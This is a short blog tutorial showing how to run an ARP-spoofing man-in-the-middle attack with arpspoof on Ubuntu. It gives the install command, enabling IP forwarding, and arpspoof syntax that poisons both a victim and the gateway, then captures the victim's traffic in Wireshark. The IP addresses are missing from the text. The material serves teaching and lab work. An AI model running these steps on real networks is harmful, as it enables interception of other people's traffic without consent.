Man-In-The-Middle (MITM) with arpspoof

Apr 8, 2020 by Thibault Debatty | 1771 views

Offensive Security

In this post we show how to easily perform a L2 man-in-the-middle attack using arpspoof on a standard Ubuntu computer...


To install arpspoof you actually have to install the dsniff package:

sudo apt install dsniff

And you are done...


Before using arpspoof, you need to activate packet forwarding in your kernel:

sudo sysctl net.ipv4.ip_forward=1

The classical way to use arpspoof is the following:

sudo arpspoof -i <interface> -t <target> -r <gateway>


  • interface is your network interface that arpspoof has to use
  • target is the IP address of the victim
  • gateway is the IP address of the default gateway on the network
  • -r indicates that arpspoof should poison both the target and the default gateway, to capture traffic in both directions

For this example, we want to capture the traffic between a victim on our network (IP and the default gateway (IP Hence we will collect all traffic between the victim and the internet...

So now is the good moment to start wireshark and start collecting traffic. To see only traffic related to victim (and not our own traffic), we can use the following filter in wireshark:

ip.addr ==

At first very few or no packets are captured (only broadcast packets).

Now, in a terminal, let's start arpspoof:

sudo arpspoof -i enp0s3 -t -r

After a few seconds, packets start to appear in wireshark... We can now start analyzing the traffic between the victim and the internet!

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